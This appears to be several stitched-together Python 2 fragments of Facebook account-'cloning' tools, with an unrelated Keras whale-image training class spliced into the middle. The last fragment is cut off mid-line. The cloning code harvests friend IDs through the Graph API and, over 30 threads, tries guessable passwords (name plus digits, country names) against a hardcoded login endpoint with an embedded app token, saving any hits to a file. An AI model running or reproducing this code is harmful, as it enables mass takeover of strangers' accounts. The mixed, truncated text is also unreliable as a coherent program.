q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = b['first_name'] + '12' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = b[ 'first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = b[ 'first_name'] + '1122' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print 42 * "\033[1;96m=" print '\033[1;96m[\033[1;97mโ\033[1;96m] \033[1;92mProcess Has Been Completed \033[1;97m....' print "\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print( "\033[1;96m[+] \033[1;92mCP File Has Been Saved \033[1;91m: \033[1;97mout/checkpoint.txt" ) raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") menu()
class TrainingDataFast(Sequence): def __init__(self, score_list, steps=1000, batch_size=32): """ @param score the cost matrix for the picture matching @param steps the number of epoch we are planning with this score matrix """ super(TrainingDataFast, self).__init__() #self.score = -score # Maximizing the self.score is the same as minimuzing -score. self.score = np.zeros((len(train), len(train))) start = 0 for s in score_list: the_size = s.shape[0] self.score[start:start + the_size, start:start + the_size] = -s start += the_size self.steps = steps self.batch_size = batch_size for ts in w2ts.values(): idxs = [t2i[t] for t in ts] for i in idxs: for j in idxs: self.score[ i, j] = 10000.0 # Set a large value for matching whales -- eliminates this potential pairing self.on_epoch_end() self.p = ThreadPool(8) def __getitem__(self, index): start = self.batch_size * index end = min(start + self.batch_size, len(self.match) + len(self.unmatch)) size = end - start assert size > 0 def _read_for_training_expand_dim(p): return np.expand_dims(read_for_training(p), 0).astype(K.floatx()) i_start, i_end = start // 2, int(start // 2 + np.ceil(size / 2)) unroll_match = [[m[0], m[1], u[0], u[1]] for m, u in zip( self.match[i_start:i_end], self.unmatch[i_start:i_end])] unroll_match = [i for item in unroll_match for i in item] unroll_train_images = np.concatenate( self.p.map(_read_for_training_expand_dim, unroll_match), 0) #print("\nunroll_train_images shape: {}\n".format(unroll_train_images.shape)) unroll_train_images = preprocess_image(unroll_train_images) ## a[0], b[0], a[1], b[1], a[2], b[2], a[3], a[4] ... a_indices = list(range(0, len(unroll_train_images), 2)) a = unroll_train_images[a_indices] b_indices = list(range(1, len(unroll_train_images), 2)) b = unroll_train_images[b_indices] c = np.zeros((size, 1), dtype=K.floatx()) for i in range(0, size, 2): c[i, 0] = 1 # This is a match c[i + 1, 0] = 0 # Different whales return [a, b], c def on_epoch_end(self): if self.steps <= 0: return # Skip this on the last epoch. self.steps -= 1 self.match = [ ] # len(self.match) == len(train), each element is a pair of images that match the same label self.unmatch = [] if segment: # Using slow scipy. Make small batches. # Because algorithm is O(n^3), small batches are much faster. # However, this does not find the real optimum, just an approximation. tmp = [] batch = math.ceil(self.score.shape[0] / LINEAR_ASSIGNMENT_SEGMENT_SIZE) print("\nScore matrix size: {} and lapjv batch size: {}".format( self.score.shape[0], batch)) for start in range(0, self.score.shape[0], batch): end = min(self.score.shape[0], start + batch) #_, x = linear_sum_assignment(self.score[start:end, start:end]) #_, x = hungarian.lap(self.score[start:end, start:end]) with timer("lapjv ops 1 round"): _, _, x = lapjv(self.score[start:end, start:end]) tmp.append(x + start) x = np.concatenate(tmp) else: print("Running lapjv on entire score matrix! size: ".format) with timer("lapjv ops (entire data) "): _, _, x = lapjv( self.score) # Solve the linear assignment problem y = np.arange(len(x), dtype=np.int32) # Compute a derangement for matching whales for ts in w2ts.values(): d = ts.copy() while True: random.shuffle(d) if not np.any(ts == d): break for ab in zip(ts, d): self.match.append(ab) # Construct unmatched whale pairs from the LAP solution. for i, j in zip(x, y): if i == j: print(self.score) print(x) print(y) print(i, j) assert i != j self.unmatch.append((train[i], train[j])) # Force a different choice for an eventual next epoch. self.score[x, y] = 10000.0 self.score[y, x] = 10000.0 random.shuffle(self.match) random.shuffle(self.unmatch) # print(len(self.match), len(train), len(self.unmatch), len(train)) assert len(self.match) == len(train) and len( self.unmatch) == len(train) def __len__(self): return (len(self.match) + len(self.unmatch) + self.batch_size - 1) // self.batch_size
def pilih_super(): peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print "\033[1;97mยซ--------------------\033[1;92mโง\033[1;97m--------------------ยป" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input( "\033[1;96m[+] \033[1;93mEnter ID\033[1;93m: \033[1;97m") print "\033[1;97mยซ--------------------\033[1;92mโง\033[1;97m--------------------ยป" try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"] except KeyError: print "\x1b[1;91mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() print "\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;93mTotal IDs\033[1;93m: \033[1;97m" + str(len(id)) jalan('\033[1;93mPlease Wait\033[1;93m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;93mCloning\033[1;93m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;97mยซ-----\x1b[1;91mใTo Stop Process Press CTRL+Zใ\033[1;97m----ยป" print "\033[1;97mยซ--------------------\033[1;92mโง\033[1;97m--------------------ยป" jalan(' \033[1;93mPlz Wait Cloned Accounts Will Appear Here') print "\033[1;97mยซ--------------------\033[1;92mโง\033[1;97m--------------------ยป" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Mk_tricks try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;96m- ' + user + ' -\x1b[1;92mโง\x1b[1;96m-' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[Checkpoint] ' + user + ' \x1b[1;96m| ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = 'Bangladesh' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m- ' + user + ' -\x1b[1;92mโง\x1b[1;97m-' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m- ' + user + ' -\x1b[1;92mโง\x1b[1;97m-' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;92m[Checkpoint] ' + user + ' \x1b[1;92m| ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m- ' + user + ' -\x1b[1;92mโง\x1b[1;97m-' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;93m[Checkpoint] ' + user + ' \x1b[1;93m| ' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = b['first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m- ' + user + ' -\x1b[1;92mโง\x1b[1;97m-' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = 'pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m- ' + user + ' -\x1b[1;92mโง\x1b[1;97m-' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[Checkpoint] ' + user + ' \x1b[1;97m| ' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = b[ 'first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m- ' + user + ' -\x1b[1;92mโง\x1b[1;97m-' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mCheckpoint ' + user + ' \x1b[1;91m| ' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;97mยซ--------------------\033[1;92mโง\033[1;97m--------------------ยป" print " \033[1;91mยซ---------Developed By Terrible Killers Gang------------ยป" #Dev:Md Mishat print '\033[1;92mProcess Has Been Completed\033[1;92m....' print "\033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print """ .--, .--, ( ( \.---./ ) ) '.__/o o\__.' {= ^ =} > - < .-------------.""`-------`"".-------------. : \033[1;92m Hope You Terrible Killers Gang \033[1;93m : '-----------------------------------------' ___)( )(___ (((__) (__)))""" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") menu()
def pilih_super(): peak = raw_input("\n\033[1;94mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข\033[1;91mRDX_001\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข" jalan('\033[1;95mGetting IDs \033[1;93m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;96m[โโ] \033[1;92mEnter ID\033[1;93m: \033[1;97m") print "\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข\033[1;91mRDX_001\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() print"\033[1;93mGetting IDs\033[1;92m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91mStart Cloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;92mโโโโโโโโโ\x1b[1;93mโขโโขStop Process Press CTRL+Zโขโโข\033[1;92mโโโโโโโ" print "\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข\033[1;91mRDX_001\033[1;95mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข" jalan(' \033[1;93mโโโโโโโโโโโโโโ\033[1;94mCloning Start plzzz Wait\033[1;93mโโโโโโโโโโโโโโโ') print "\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข\033[1;91mRDX_001\033[1;95mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Z_K_TECH try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;94mโ\x1b[1;95m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;94mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = 'Pakistan1' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;91mDoneโ\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93mโ\x1b[1;96m-' + user + '-\x1b[1;93mโ\x1b[1;95m-' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข\033[1;91mRDX_001\033[1;92mโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข" print " \033[1;93mยซ---โขโโข---Developed By AHMAD_SANA_FAROOQ--โขโโข---ยป" #Dev:AHMAD_SANA_FAROOQ print '\033[1;91mโ Process Has Been Completed Pressโก\033[1;92m....' print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;92m"+str(len(cekpoint)) print """ โฅโฅโฅโฅโฅ โฅโฅ โฅโฅ โฅโฅโฅ โฅโฅโฅ โฅโฅโฅโฅโฅ โฅโฅโฅโฅโฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅโฅโฅ โฅโฅโฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅโฅโฅโฅโฅโฅ โฅโฅโฅโฅโฅโฅโฅ โฅโฅ โฅโฅโฅโฅ โฅโฅ โฅโฅโฅโฅโฅโฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅ โฅโฅโฅโฅโฅโฅ โข\033[1;92mโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโขโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโฌโขโโข.""" raw_input("\n\033[1;92m[\033[1;91mBack\033[1;96m]") menu()
def pilih_crack(): peak = raw_input("\n\033[1;96mChoose an Option ---> \033[1;95m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_crack() elif peak == "1": os.system('clear') print logo jjt = raw_input("\033[1;92mPUBLIC ID : \033[1;92m") print "-โ -โ --โ -โ --โ -โ --โ -โ --โ -โ --โ -โ --โ -" try: m = requests.get("https://graph.facebook.com/" + jjt + "?access_token=" + toket) td = json.loads(m.text) print "\033[1;94mName\033[1;94m:\033[1;94m " + td["name"] except KeyError: print "\x1b[1;91mID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") crack() print "\033[1;97mGetting IDs\033[1;97m..." n = requests.get("https://graph.facebook.com/" + jjt + "/friends?access_token=" + toket) d = json.loads(n.text) for c in d['data']: id.append(c['id']) elif peak == "0": men() else: print "\x1b[1;91mFill in correctly" pilih_crack() print "\033[1;97mTotal IDs\033[1;97m: \033[1;97m" + str(len(id)) jalan('\033[1;97mPlease Wait\033[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;92mCloning\033[1;92m" + o), sys.stdout.flush() time.sleep(1) print "\033[1;92mCTRL+Z FOR STOP CLONING" print "\033[1;93-โ -โ --โ -โ --โ -โ --โ -โ --โ -โ --โ -โ --โ -" jalan(' \033[1;92mC L O N I N G S T A R T E D') def main(arg): global cekpoint, oks user = arg try: os.mkdir('cookie') except OSError: pass #Dev:shaheer try: k = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) y = json.loads(k.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + 